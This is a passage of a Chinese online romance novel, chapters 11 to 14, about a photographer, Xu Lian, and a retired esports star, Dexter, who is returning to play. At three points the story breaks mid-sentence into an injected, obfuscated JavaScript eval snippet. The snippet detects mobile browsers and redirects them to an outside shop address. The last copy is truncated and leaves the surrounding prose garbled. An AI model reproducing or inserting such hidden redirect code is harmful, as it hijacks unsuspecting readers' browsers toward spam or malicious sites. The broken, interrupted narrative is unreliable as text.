她下意识看了一眼身旁的付翊均,对方只是安静地回望她,嘴角那点惯常的笑意淡了下去,没说话。 这么多年,许恋几乎是将付翊均当成家人一样。 他从小就在许恋的世界里充当着很多角色,会像哥哥一样安慰她,也会像弟弟一样给她鼓励。 她从未在许湘琅那里得到过的鼓励和安慰,他从不吝啬。 可以说,没有付翊均,她现在可能不是这样开朗的性格。 至于男女朋友……这是她从未想过,用来定义他们之间关系的词。 索言看见她的反应,先是侧头看了弟弟一眼。 随后立马向许恋道歉:“抱歉,误会了,我只是看你们比较亲近。” 许恋一下子泄了气,肩膀微微垮了下来,认真地看着索言解释:“因为我们从小一起长到大。” 樊榆雅没错过付翊均瞬间的失落,她哼笑一下。心想:她和他,到底谁的遗憾更多呢? “怎么从来没听你们提过啊?我一直以为你们只是同学呢?”Pipi这下是真的来了兴致,身体不自觉地往前倾了倾。 许恋和付翊均从来没深度介绍过两人的关系。 他一直以为是老同学,又或者是那种彼此有些好感、正在暧昧试探的朋友。 但如果是一起长大的青梅竹马,那他可以确定,付翊均对许恋没有别样的心思,至于这些下意识的关注与照顾,大概都出于他的本能。 他和付翊均是一起从青训爬上来的。 他们同住一间狭小得转不开身的宿舍,弥漫着汗味、男人味、泡面味的气息。 少年人精力旺盛,训练后的深夜,室友偶尔会聚在一起玩些喝酒游戏。 那时Pipi总觉得付翊均这人看着碍眼,他话少,表情更少,一张脸总是没什么波澜。 他就特别想知道,这样冷淡的外壳下,到底喜欢什么样的女生。 于是有一次,借着游戏的机会,Pipi半是挑衅半是好奇地问:“喂,付翊均,假设你现在要谈恋爱,只是假设啊,下面几种,你会选哪一个?” 他掰着手指头,一个一个数过去:“一、青梅竹马;二、同班同学;三、普通朋友;四、仰慕你的迷妹。” 问题抛出去,付翊均没有立刻回答。他拿起手边的矿泉水瓶,慢慢拧开,喝了一口。 就在Pipi以为他不会回答,或者会直接用“无聊”两个字堵回来的时候,他开口了,声音和平时一样淡,没什么起伏:“选不出来。” 顿了一下,他抬起眼,目光平静地看向Pipi。 “但你要问我最不可能和谁谈恋爱的话,我能选出来。” 这微妙的措辞转换让Pipi一愣,随即觉得更有意思了。“行啊。”他爽快道,“那就按你说的,哪种最不可能?” 付翊均几乎没有犹豫:“一、青梅竹马。” “为什么?”Pipi几乎是紧接着追问。 付翊均已经转回了视线,他把玩着手机,漫不经心地说:“这是下一个问题。” 但那之后,他们上升到DBG一队,夜晚大多只能Rank,再也没有了这样一起玩小游戏的时间。 所以,他只知道付翊均不会和青梅竹马谈恋爱,但他不知道原因。 11. 第十一个恋想 许恋和付翊均的话题作为一个短暂的插曲结束。 大家的话题大多是围绕着今天的比赛,几个上场的队员激情地复盘着比赛的画面,十分热闹。 许恋则保持边喝水边细细观察索德的状态。 前两次的见面,只觉得他的长相变沉稳了不少。现在看着他端正坐着,安静听别人说话。 他身边的管理层的人员,高谈阔论游戏战术、市场前景,话题偶尔抛到他这里,他也只是简短回应,字句精准,滴水不漏,随即又变回那抹高冷的表情。 这和三年前那个少年,几乎判若两人。 许恋虽然是在他退役后才喜欢上他,可那些物料里的他,有着十八岁的鲜活与自信。 DBG曾在他在役时发送过一段他们聚餐的视频。 饭局上,他永远是当仁不让的主角。 不是因为他刻意抢话,而是他周身散发的那种自信与锋芒,会自然而然地将所有人的目光吸引过去。 他语速快,反应敏捷,说起战术见解时眼底有光,开玩笑时嘴角的弧度带着点恃才傲物的坏,批评起队友的失误又一针见血,话说得让人牙痒痒却又无法反驳。 很明显,他享受那种成为焦点的感觉,享受自己的话语引起的反馈,就像完全掌局了一盘游戏。 那时的他,毫无保留地散发着光与热,耀眼、张扬,甚至有些刺目,却充满了鲜活滚烫的魅力。许恋反复观看的,就是那样一个他。 可是现在,那些似乎都不在了…… “索言哥,索德哥,你俩真是亲兄弟?怎么看气质……不太一样?”Pipi已经没了拘谨,好奇地问出了许多人暗自嘀咕的问题。 正在捞虾滑的索言闻言,放下勺子,露出一贯温和的笑容。 他伸手,极其自然地揽过旁边索德的肩膀,将弟弟往自己这边带了带。 “如假包换。”他侧头看了看索德没什么表情的侧脸,又转回头对着提问者,笑意加深,“怎么,不觉得我们很像吗?” 像吗? 第一眼确实觉得是像。 “就觉得索言哥和我们差不多大,没想到竟然比我们大了那么多。” 许恋在聊天中得知,索言现年32岁。手下涉及的产业,从房地产到互联网又到娱乐传媒,他把握住了每一个社会给予的机会。 他温和地笑着,声音平稳从容,“正是因为我年纪大了,积累了能力和钱。”他顿了顿,看着身边的索德,语气里多了一丝不易察觉的柔和,“才能支持你们的梦想。” “你们”这个词用得很妙,既指在座怀揣电竞梦的年轻人,也明确地将索德囊括其中。 许恋握着水杯的手,因为用力而微微泛白。她想起了物料里少年索德谈论电竞梦想时,那种舍我其谁的璀璨光芒。 她不明白,索言看起来很支持弟弟打电竞,那当年,索德为什么会退役呢? 有这个疑问的不止是她,作为当年Dexter粉丝的Titi终于按耐不住。 声音带着显而易见的紧张和期待,他问:“Dexter,您真的要复出了吗?” 在他问出这个问题后,索德明显愣了一愣。 然后,他的目光极快的在许恋身上停留一秒。 他轻笑一声,怎么都和许恋一样,明明给过他们答案,可总是再问自己确定一遍。 不过,真的如她所说。 除了自己、除了哥哥,还有那么多人期待自己重回赛场。 “当然。”他再一次给出答案。 得到肯定答案的Titi,像是受到了鼓舞,他紧接着追问:“那当年……” 他想问的完整问题是,“那当年为什么不坚持下去。” 毕竟十几岁的时光不会再有,人的反应速度、各种肌肉反应等会随着年龄增大而下降,他这空白的三年,相当于浪费了他当年的天赋。 可看着面前的他,Titi的声音弱下去,他没有将完整的问题问出来。 索德知道他想问什么,他环顾整个包厢的人,然后垂眸。 叹息般地说:“因为我输了。” 一句话,让饭局瞬间安静下来。 大家都以为他在说当年那把比赛。 感叹原来电竞天才的背后,也会因为一场比赛留下阴影和遗憾。 确实有很多极具天赋的选手,因为对胜利极度渴望,所以在失败后常常一蹶不振,这是一种很严重的心态问题。 许恋的目光还停留在他的身上,真的只是因为那一场输掉的比赛吗? 她脑海里闪过第一次见他的模样,与他在赛场上自信张扬,相反的那个破碎的他。 还有他今天在大巴车上和母亲的谈话…… 总觉得,原因好像不是这样。 从这之后,索德依旧坐在其中,却像一个围观者听着他们谈论着今天的胜利,心里像被什么东西堵着一样的难受。 他反复地想,如果自己那一次没有失败,是不是现在的胜利也会环绕着自己。 实在有些难以承受,中途他起身借口去洗手间,离开了让自己感到无法适从的包厢。 临街的火锅店,门外是另一番景象。 初秋的夜风带着清凉的清醒,瞬间吹散了他身上的烦闷。 他靠在路灯杆上,摸出烟盒,低头点燃。猩红的火点在昏黄路灯下明明灭灭。 指尖的烟刚燃到一半,身后的门被轻轻推开。 索德下意识回头看去,他顿了顿,立马将还剩大半截的烟摁熄在旁边的垃圾桶上。 转过身,夜风拂动他额前碎发,露出底下那双总是显得过分平静的眼。 “怎么了?”他问,声音比夜风更淡。 许恋两步跳下台阶,双手背在身后,仰头看他。路灯在她眼睛里洒下细碎的光点,亮晶晶的。 “想给你个东西。”她抿着嘴笑,声音轻快。 “什么?”索德哑声问道。 她没有立刻回答,而是带着笑意忽然踮起脚尖,整个人朝他靠近。 这个突如其来的动作让索德身体几不可察地僵了一瞬。但她并未触碰到他,只是努力将背在身后的手高高举起,举过他的头顶。 然后,她松开手。 细碎的金色亮片毫无征兆地洒落下来,在路灯下闪着细碎的光,纷纷扬扬落在他肩头、发梢。 索德怔住了。 “虽然我觉得明年、后年、大后年,还有很多年……这些金色的彩带也会落在你的头上。” 夜风拂过,她微微歪头,声音清晰而温柔地落入他耳中,“但是,我觉得,今天的你也值得体验一下胜利的感觉。” 连索德自己都没注意到,自己的声线微微发酸:“为什么?” “因为想要实现梦想的你,战胜了其他所有的你。” 风似乎停了一瞬。 他明明什么也没说,可她好像知道了他的烦恼。 面前的女生微微歪头:“就算,提前庆祝你复出?” 索德缓缓抬起手,不是去拂开身上的那些金色彩带,而是轻轻拿了下来。 他看着面前女孩笑意盈盈的模样。 “好。” 许恋的笑意愈发浓厚,她看着被风带跑的彩带,表情有一瞬间的慌乱。光想着给他惊喜,忘记了环保。 立马蹲下身来将刚刚自己散落的彩带一片一片捡起来。 索德也蹲下身一起。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206453|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将捡起的彩带丢进了旁边的垃圾桶。随后拍了拍手上的灰,侧头对他说:“那我们进去吧?” 而索德却没有动作,他悄然将手中的那几片彩带放到了口袋里。 空气静默了片刻,只有远处隐约的车声他忽然开口,“刚才在桌餐桌,对不起。” 许恋抬起眼,有些不解。 “我哥不该当着那么多人的面,直接问你和付翊均的关系。”他垂下目光,“好像……把你架在了一个很尴尬的地步。” 许恋看着他,却缓缓摇了摇头,“没关系的。” 她声音温和,“其实……或许DBG的大家,还会一直那样误会下去。总觉得我和他之间……有什么特别的关系。” 她微微笑了笑,笑意里有些无奈,也有些轻松:“现在说开了,反而好了。” - 回到酒店房间,樊榆雅在洗澡。 许恋在彻底安静下来的空间里,后知后觉地点开那个熟悉的微博图标。 消息栏的数字依旧点不过来,她习惯性地点开,快速滑落翻找着有什么值得回复的评论和需要回关的账号。 然而,在点开新增粉丝后,映入眼帘的,是那个从未奢望能有回应的ID,赫然躺在“新增粉丝”列表的最顶端。 Dexter。 心脏急促地鼓动起来,悬在屏幕上方的指尖,竟有些微的颤抖。 她点进他的主页,发现他的关注列表在今晚悄然更新。除了DBG现役的队员们,那个夹杂在其中的、属于她的账号,显得如此格格不入,又如此……醒目。 微博已经因为这小小的动作掀起了风浪。 电竞热搜榜上,#Dexter复出#、#Dexter关注列表#、#Dexter微博复活了#、#Dexter和Destin互关了……等词条迅速攀升,粉丝和路人们议论纷纷,猜测着Dexter是不是真的要回DBG了。 带着一丝私心,她点进了那条带着自己名字的话题。 越看,她嘴角的弧度越是抑制不下去。 网友1:说真的,有点好磕……两个人的ID还这么像,不会是情侣的吧…… 网友2:谁懂一下,Dexter先关注的Destin,到了刚刚才关注了DBG战队其他队员,你们不会觉得有点欲盖弥彰吗…… 网友3:搞什么宿命文学,我退役前的最后一张背影交给你来拍,我重返赛场时的第一个画面也交给你。有没有写手太太,我想看这样的文!! 网友4:所以,Dexter复出是真的吗? …… 人总爱挑自己喜欢的话看,许恋也不例外。 此时她的嘴角恨不得要翘到天花板上去。 直到翻到这个话题的最底端,她才意犹未尽地点进索德微博主页的关注列表。 “1、2、3……”往下数着,她真的是第一个被他关注的人。 这样的认知,瞬间让她激动得红了脸。 许恋翻了个身,将脸深深地埋进了枕头里,无声地尖叫着。 脑海里思绪满天飞,又坐起身拿出手机返回到自己的微博主页。 她的微博个签,静静地呈现在主页:从来不是照片讲述故事,是照片里的人与场景在诉说。 阿门,希望索德不要觉得这句话非主流。 接着,她的视线落在了自己的置顶微博上。 即使看了无数遍,她依旧会一张一张点开认真欣赏。 真帅啊。 不知道他今天有没有看到这组照片,是觉得自己帅呢还是觉得她的拍照技术很好。 在这样的想象中傻笑了一会后,一个突入其来的念头出现在许恋的脑海里。 12. 第十二个恋想 微凉的触感从高铁车窗上传来。 许恋正紧贴着车窗,看着站台上行色匆匆的行人,感受着因为国庆假期特有的繁忙感。 “说真的。” 坐在她身旁的舒愿将手机屏幕转向她,上面正是她昨晚发的朋友圈。 一张模糊的、映着晚霞的教学楼剪影,配文只有一个月亮表情。 “许小恋,您这莫名其妙的朋友圈发了两天了,到底是想给谁看啊?” 许恋收回目光,嘴角抿起一个压不住的笑。 “也没什么。”她声音放低了些,“就是……我加到索德的微信了。” “索德?Dexter?”舒愿的声调骤然拔高。 万幸高铁正在停靠,人群忙碌,并未有多少人关注到她们。 许恋连忙竖起食指抵在唇边,眼里的光却亮得藏不住,只是用力点了点头。 舒愿凑近她:“什么时候?怎么加的?” 许恋一五一十的说了。 那天,樊榆雅洗完澡出来时,就看见许恋抱着手机傻笑的模样。 她擦头发的手一顿,“笑什么呢?” 许恋“嘿嘿”一笑,低头操作着什么。下一秒,她将手机屏幕展现在樊榆雅眼前。 “索德回关我啦!” 比起叫他Dexter,她更喜欢叫他的名字。 因为许恋第一次看见的他,不是那个在赛场上意气风发的Dexter,只是一个因失败而情绪低落的十八岁少年。 “我正想着要怎么给他发私信呢?” 樊榆雅嘴角撇了撇:“不是吧,你们还没加上微信呢?” “这不是正在努力吗……” 许恋咬了咬指尖,手机画面正停在与索德的微博私信对话框。 她深吸一口气,飞快地在手机屏幕上操作,编造了一个针对索德的陷阱。 在键盘上打了又删,最终闭眼狠心按下发送键。 【Dexter好!冒昧打扰了。我是许恋,其实……上次我还抓拍到了一张你和Heng并肩的背影,感觉还挺有意义的,一直没发……你想要吗?:-)】 消息发送成功。 手机被她轻轻按在胸口,仿佛能听到自己如擂鼓般的心跳。 那边很久没有回应,直到樊榆雅吹头发的声音停下来,索德的聊天框才亮出一个小红点。 Dexter:【看看。】 她回的很快:【可是……微博好像会吞画质,D神你将就看看。】 许恋的心脏在点下发送键后的一瞬间提到了嗓子眼。 他似乎闲下来了,这次回得很快。 【图呢?】 他根本就不知道她压根没发图。 明知对面看不见,许恋还是佯装不知,皱着眉头打下这段话:【啊……我也不知道为什么,怎么就发不出去这张图。】 内心却在祈祷:快问我,快问我那几个字。 短暂的期待后,许恋脑海里又不受控制地预演着各种可能。 他会不会根本不在意?会不会觉得麻烦?会不会……已经关掉了对话窗口? 在她几乎要被自己纷乱的念头淹没,准备自暴自弃地锁上屏幕时。 “嗡。”手机屏幕骤然亮起。 她屏住呼吸点开了那条信息。 白底黑字,简简单单一句话,顺遂了她的心意:【能加微信发吗?】 “耶!成功!”许恋开心地从沙发上鲤鱼打挺般跳了起来。 缓了会,才深吸一口气,在回复框里一个字一个字、一再确定地敲下自己的微信号。 【Dexter,我的微信号:DDestin1105】 围观全程的樊榆雅默了片刻,眼神有明显的困惑:“你想要他微信直接问就是了,为什么还要绕这么大一圈。” 许恋一边同意索德的好友申请,一边回:“才不直接问。” - 这会,听完后的舒愿瞬间就想到许恋和她说过,和索德第一次见面时,那句未说出口的要微信。 她直接问:“你不会还记着第一次见面被他打断要微信的事吧?” “对啊。” 舒愿无语片刻,吐槽她一句:“记仇的天蝎座。” 许恋不满地,皱着眉反驳:“这不是记仇,这是……”她卡顿了一下。 然后想起了那个形容,“那什么,钓系。” “对,钓系你懂吗?” 车厢广播恰好响起,报出“星沙南站”的名字。 舒愿忍住翻白眼的冲动,拿着东西从座位上是站起来,阴阳怪气:“下车吧,钓系女孩~” 一下高铁,许恋就感受到城市边缘特有的、微凉的尘土气息扑面而来。 她低头看表哥陆知乐发来的信息:“首映礼后台被媒体堵住了,一时半会儿脱不开身。我让我朋友的弟弟去接你们,他开我常开那辆灰色SUV,车牌尾号927,和你高铁差不多时间到。电话是……” 陆知乐是许恋大姨许江琳的孩子,她生下的是一对龙凤胎,哥哥是陆知乐,妹妹是陆知遥。 他们比许恋大10岁。 - 在许湘琅离开后的第二天,一道门铃声敲散了许恋的孤独。 那时的她,因为对索德的好奇,熬了一个通宵。 拖着疲惫的身躯打开门,那一瞬间她先看见的是,那双与许湘琅极度相似的双眼。 只不过她更柔和,没有许湘琅身上那种浓厚的距离感。 许恋下意识地松开了门把手。 “恋恋。” 声音响起,比妈妈的嗓音略低一点,裹挟着风尘仆仆的沙哑。 来人是她的大姨,比许湘琅大了7岁的许江琳。 她的发丝被细雨打湿了几缕,贴在额角。脚边立着一个简单的行李箱,轮子上还沾着新鲜的泥渍。 “我昨天接到湘琅的电话。”许江琳说,目光一刻也未从许恋脸上移开。 她没有说许湘琅和她说了什么,也没说自己接到电话后是怎么想。 “买了最早一班到京市的机票。”她吸了口气,“恋恋,你跟我回槠洲吗?” 不是“你要不要来”,也不是“我带你走”,是“你跟我回吗?” 一个邀请,把选择权,轻轻放回了这个十八岁女孩手里。 许恋没动。她靠在冰冷的门框上,手指无意识地抠着居家服。 喉咙发紧,她想问,妈妈在电话里是怎么说的?是轻松释然,还是有过一丝愧疚?她想问,槠洲……那个妈妈毅然离开的南方小城,是什么样子?潮湿的,长满香樟树的,有着和这里截然不同气味的地方吗? 她张了张嘴,却什么也没说。只是侧身让许江琳进了屋。 屋内,昨夜未曾收拾的外卖餐盒还摊在茶几上,沙发上胡乱堆着没叠的毯子。 这个家,在许湘琅离开后,迅速显露出一种凌乱。 原本这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206454|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些凌乱,会在8:30,阿姨来工作时被打扫得干干净净。 只是许江琳比阿姨来得更早。 “其实……” 许江琳的声音在身旁再次响起,“外婆也很想和你亲近,她在槠洲总是惦记你。” 许恋以前太执着于许湘琅的爱了,她把她的爱当做全部的亲情。又因为许湘琅不爱回槠洲,以至于她十八岁以前,从来没有在意、感受过其他家人的爱。 外婆、槠洲,这是两个存在于妈妈偶尔不耐烦的回忆里、模糊而遥远的词。 许恋因为通宵而迟钝的脑子,逐渐清醒过来。 她摇了摇头,嘴角向上弯了一下,自嘲般的说:“可我妈妈都不惦记我。” 还会有人惦记她吗? 话里明明带着讽刺。 可许江琳的温柔却并未因此减淡半分。 “有人惦记的。”她说着,从随身的包里取出一个用手帕仔细包着的东西。 她一层层打开,动作十分慎重。 一边说着:“你妈妈年轻时和外婆有很多误会。所以在生下你后,不常与家里来往。” 手帕里的东西完全呈现出来,中央静静地躺着一枚温润的玉坠。不是多么名贵的材质,但油光发亮,有着被常年盘玩的痕迹。 “但不代表外婆和我们的爱就不存在。” 许恋抬头看向她,她似乎不像许湘琅那样格外在意自己的外貌,岁月在她脸上留下的痕迹很明显。 “这是你外婆给你准备的。”许江琳没有递给她,只是托在掌心让她看清。 “你出生那年,她就去庙里求了,开了光,一直收着。每年你生日,她都会拿出来擦一遍,对着它说几句话。” 许恋的视线落在玉坠上,上面雕着简单的如意纹路。 她原以为,这个世界没有人期待自己出生的。 “当年,外婆其实是很期待你出生的。毕竟你是她小女儿的第一个孩子,只是……”她叹了一口气。 许江琳抬起眼,直直看进许恋空洞地眼睛里:“恋恋,以后你或许会懂。再无坚不摧的感情,不好好沟通,最后也会是两败俱伤。” 她没有与许恋细说当年的那些事,只是努力地拉近与许恋的关系、努力地表达自己对她的爱。 在那天之后,尽管许恋一直坚持自己也能活得很好,但许江琳也一直坚持着要陪她。甚至辞掉了工作常居京市。 许恋有怀疑过,许湘琅是不是给了许江琳很多钱,才让她装着那么在意自己、那么喜欢自己。 但她见了自己的表哥陆知乐后,这样的疑虑被打消。 陆知乐,刚毕业就靠一部《擦肩》而爆火的导演。在之后,他的每一部电影都能引起观众的共鸣,获得空前的关注。 许江琳根本不缺钱,也不缺优秀的孩子。 她对许恋的爱,或许单纯只是因为许恋的头衔——“妹妹的孩子”。 后来,许恋开始试图接受许江琳的好,也试图学着反馈给她一定的情感。 她在那个学期结束后,回了槠洲上高三的下学期。 一下飞机,她就见到了外婆。年过七十的老人见到她时,久久地拉着她的手红了眼眶。 从那以后,许恋在许江琳那获得了无微不至的关爱,在外婆那获得了没有理由的偏爱,在陆知乐那获得了无条件的支持,在陆知遥那获得了就算到了绝境也不放弃的力量…… 她在十八岁,重新学会“家”的意义。 13. 第十三个恋想 上个月底,许江琳得知许恋和舒愿只抢到到达省会星沙的票后,想亲自开车来星沙接她们回槠洲。 最后是陆知乐在家族群里看到了这段聊天记录,他说那天他在星沙有一场首映礼,等首映礼结束了,顺路带上她们一起开车回槠洲。 可刚下高铁,许恋就收到了他被媒体围堵的消息。 “朋友的弟弟?”舒愿凑过来看屏幕,敏锐地捕捉到关键词。 她眼神一亮,“黎书白的弟弟吗?” “不是吧,没听过黎书白有弟弟,应该是他别的朋友吧。”许恋解释着,目光在出站口梭巡。 舒愿遗憾地叹了口气,她还以为能有机会见到顶流男星弟弟呢。 找寻一圈,没看见熟悉的车。许恋低头点开通讯录,按照陆知乐给的电话打了过去。 等待的时间里,她与舒愿一直往前走,视线便随着落在远处的临时停车区。 一辆冷硬的灰色路虎缓缓停靠在路边,车牌尾号正是927。驾驶座的车窗降下,一只骨节分明的手随意搭在窗沿。 “那呢。”许恋头朝那边点了点,示意舒愿往那边走。 临近车身时,她一直举着的手机也传来了一声“嘟”,电话接通。 “喂?” 声音响起时,许恋恰巧看见了那只手的主人。 正午的阳光斜斜地投下一束光,不偏不倚地笼罩住车内。索德侧着脸,睫毛在眼下投出浅浅的阴影。 周遭鼎沸的人声、行李箱滚轮的声音,忽然像潮水般退去。 怎么……会是他? 索德今天穿着简单的灰色衬衫,袖口随意挽到小臂。头发比前段时间长了些,似乎出门时有些匆忙,还有点乱,倒是为他平白增添了些日系少年的气质。 他似乎察觉到视线,转过头来。 两人目光在空中相接的瞬间,许恋清晰地看见他微微怔了怔。 “许恋?”他的声音比电话里听到的更低一些,质地清冽。 舒愿在一旁轻轻倒抽了口气,用手肘隐秘地碰了碰许恋。 “是我!”反应过来后的许恋,心跳控制不住的加快,声音也不自觉地扬高。 她伸手将手机屏幕对着他,“我就是你要接的人。” 她的声音与手机里传来的声音重叠。 他那双总是平静的双眼,掠过一丝类似于意外的神色。 “知乐哥是你表哥?” 索德挂掉电话,解开安全带从车门走了下来。身姿挺拔,几步便到了她们面前。 “对!”许恋想起陆知乐是怎么说的来着,朋友的弟弟…… 她跟在索德身后,见他顺手将她们的行李箱拎起,走向车尾。 眼神一亮,“你哥和乐乐哥是朋友。” 这是一句陈述句。 索德利落地将行李箱提起、放入,再关上后备箱。 而后看向许恋,“嗯,他们从小就认识。” 许恋在瞬间的欣喜过后,心底却微微发酸起来。 也就是说,过去的三年,她与他之间,只需要隔着两个人就能遇上。 可三年以来,这样的机会一次都没有。 她努力让自己的声音听起来寻常自然:“那麻烦你了。” 索德的目光在她脸上短暂停留,“不麻烦。”随即走向驾驶座,“顺路。” 引擎低声启动,车子平稳地汇入城市的车流。后视镜里,索德专注地看着前方路况,侧脸在明明灭灭的光影中显得有些不真实。 舒愿在后座偷偷用手机敲下一行字,发送给许恋:【你哥朋友的弟弟是索德?!】 【我也才知道啊!!】两个大感叹号,足以表达她的震惊。 暗下屏幕,许恋悄悄看了一眼身侧驾驶座的索德。 谁知,他捕捉到了这一瞬间的目光,微微侧过头问她:“怎么了?” 她刻意清了清嗓,不想让他察觉到自己的紧张。 然后才问:“乐乐哥怎么会和索总认识啊?” 索德转回视线看向前方道路,“我们两家小时候是邻居,后来我爸妈工作调去了星沙,我们也就搬走了。” 许恋想起了许江琳家旁边的那栋空房子,她一直以为那里没人住。 原来,那是他曾经的家啊。 “所以,你高考是在槠洲高考的,对吗?” “对。” 这个简单的回答,让许恋确定,她高考结束后,看见的那个神似他的身影,就是他。 - 许恋高考的那几天都是下雨天。从高考考场出来时,天空毫不留情地飘落着雨点。 而她特别倒霉,放在书包网兜上的伞不知在考场里被谁拿走了,只能抱着书包在考场门口的檐下等待雨停。 雨越下越大,砸在地上溅起细密的水花。 考场门口人来人往,一片模糊的雨幕中,一个身影突然攫住了她的目光。 高瘦的少年撑着黑伞,快步穿过。雨水打湿了他的裤脚,但他似乎毫不在意,只是低着头匆匆前行。尽管隔着雨幕,尽管只是侧脸,许恋的心脏却猛地一跳。 她甚至来不及思考,身体已经先于意识做出了反应。 许恋冲进雨里,雨水瞬间打湿了她的衣服和头发,她却全然不顾,只是紧紧盯着那个越来越远的背影。 “索德!”她想喊,可又不确定。 少年拐进了街角的小巷,许恋加快脚步追上去。可是当她冲进巷口时,长长的巷子里除了倾盆而下的雨,空无一人。 她呆呆地站在雨中,雨水顺着发梢滴进眼睛里。 那个身影就这样消失了,像从未出现过一样,像他们第一次见面后一样。 她曾以为,那不过是自己想念过度产生的幻觉。又或者,那真的是他,只是命运让他们又一次错过。 “那你呢?”索德的声音将她从回忆中拉回现实。许恋这才意识到自己已经失神许久。 “你和付翊均也是从小就是邻居吗?”他问道,语气平静,目光仍注视着前方道路。 许恋微微一怔,“不是邻居。”她轻声回答,“我们的父母是生意伙伴,所以从小就认识。” 索德轻轻“嗯”了一声,没有继续追问,但车内空气似乎微妙地变化了。 许恋忽然意识到,这是重逢后索德第一次主动问起她的生活,问起她身边的人。 而后,车内陷入了沉默,只有许恋的手机“嗡嗡嗡”的响个不停。 许恋悄悄解锁手机屏幕,消息栏满是舒愿给自己发的消息。 【我要插话吗?】 【唉,算了,感觉我开口说话会很尴尬】 【我去我去!】 【他竟然问你和付翊均的关系】 【他是不是对你好奇了!】 【以我看小说十几年的经验,他、索德、对你有意思!】 看到最后一句话,许恋的脸一下子蹿红。 瞬间将手机反扣在腿上,这都什么跟什么…… 她飘忽不定的视线转向窗外飞速流逝的风景,玻璃窗上,浅浅映出身旁驾驶座上那个安静的轮廓。 一个无声的微笑,悄悄在她唇边绽放。 车子缓缓驶入一栋商场的地下停车场。 索德熟练地将车停进车位,熄火后转向她:“到了,不过你表哥说让我们先在车上等。” 陆知乐不仅以他的才华出名,更因一张令人过目不忘的脸而成为焦点。 即便他反复强调自己早已心有所属,与那位相识已久的女孩感情稳定,外界的窥探却从未因此停歇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他启动引擎,当车身路过那两个身影,许恋像是随口问起:“哥,刚刚和你一起走的那个女孩是谁啊?” “她啊。”陆知乐打着方向盘,语气平常,“是我从电影学院里挖来的新演员,在《雾中车站》里演了一个角色。” 说完他顿了顿,想起什么似的补充,“说来也巧,她居然和我一个朋友是邻居。” 许恋凝视着窗外飞速倒退的风景,声音有些轻:“是索言索总吗?” “索总?”陆知乐略感意外地挑了挑眉。 “嗯,他投资了DBG俱乐部,大家都这么叫他。” “对,就是他。”陆知乐确认道,随即从鼻腔里逸出一声极低的哼笑,“他啊……还是没放弃。” “放弃什么?” 他语气低沉道:“曾经的梦想。” 梦想…… 许恋垂眸,她想起那天,索言在众人面前说过:“你们的梦想,也是我曾经的梦想。” 车内安静了片刻,许恋转过头看向认真开车的陆知乐,她好奇:“那索德去打比赛的那一年……是在替哥哥完成曾经梦想吗?” 这……就是他仅打了一年比赛后就退役的原因吗? “不是。”陆知乐笑了一瞬,这是他第一次听见这种看法。 “索德是真的热爱电竞,也真的很想成为职业选手,只不过……” 车子行驶在一个红绿灯路口,他们遇上了红灯。陆知乐将车稳住,微微侧过头看向许恋:“只不过,人生总有很多无可奈何。” 无可奈何? 等红绿灯倒数到第10秒的时候,许恋终于将盘旋在心底已久的问题问出了口:“哥,你知道索德当年……为什么突然退役吗?” 陆知乐沉默了一下,指尖在方向盘上轻轻敲了敲,再开口时,声音里掺入了一丝郑重与迟疑:“有些事,涉及到别人的家事……我不太方便多说。” 14. 第十四个恋想 “不打扰,是我的温柔。” KTV昏暗地灯光下,许恋躺在上沙发上唱出《温柔》的一句词。 “她怎么了?”推门而入的樊榆雅恰好听见这句歌词。随手将奶茶放到桌子上,靠着舒愿坐下后,问了这一句话。 《温柔》这首歌属于许恋的人生歌单之一,当她觉得陷入自我怀疑,觉得自己配不上什么的时候,就会唱这首歌。 舒愿叹了一口气,“你还记得国庆的时候,我们说看见Dexter和一个女孩一起走了。” 她撇了眼许恋,压低声音继续说:“她叫江可心,是《雾中车站》里演主角姐姐的演员,因为演技出圈了。” 樊榆雅点了点头,这个她知道。 她可是冲浪十级选手,网络上无论哪个圈的风吹草动她都能第一个知晓。 “今天她被拍到和索德走在一起,上热搜了。” 一句话,震慑住了樊榆雅。 她刚刚从京市打飞的过来,在飞机上断联了几小时,对这件事根本一无所知。 樊榆雅几乎是立即垂头看微博。#江可心Dexter的热搜还在热搜榜前排,后头还跟着一个“热”。 径直点开广场上被转发了无数次的视频。 典型的狗仔偷拍视角:镜头剧烈摇晃、像素模糊,依稀能看见画面中央的两个人。 江可心走在索德身侧,两人之间隔着得体的社交距离。 背景里明明有其他人的身影露出,甚至能看到江可心身边其他人的半张脸。但剪辑者狡猾地将画面放大、再放大,做旧,加上引导性的箭头和慢放…… 描绘出只有他们二人“并肩”走在灯光昏黄的路上的画面。 樊榆雅关上手机,她的目光转向沙发那头的许恋,她的眼睛空茫地望着闪烁的大屏幕,一首欢快的歌正在播放,与她周身弥漫的沉寂格格不入。 樊榆雅起身,快步走过去,伸手将软泥一般的她拉起来。 “点播一首《找自己》。” 舒愿在一旁默契地替她点歌顶上。 许恋的眼神这才有了聚焦点,迟滞了几秒,眉眼才终于扬起一个上扬的弧度:“碎碎,你来啦!” 樊榆雅不由分说,切了歌,拿起桌上另一个麦克风。 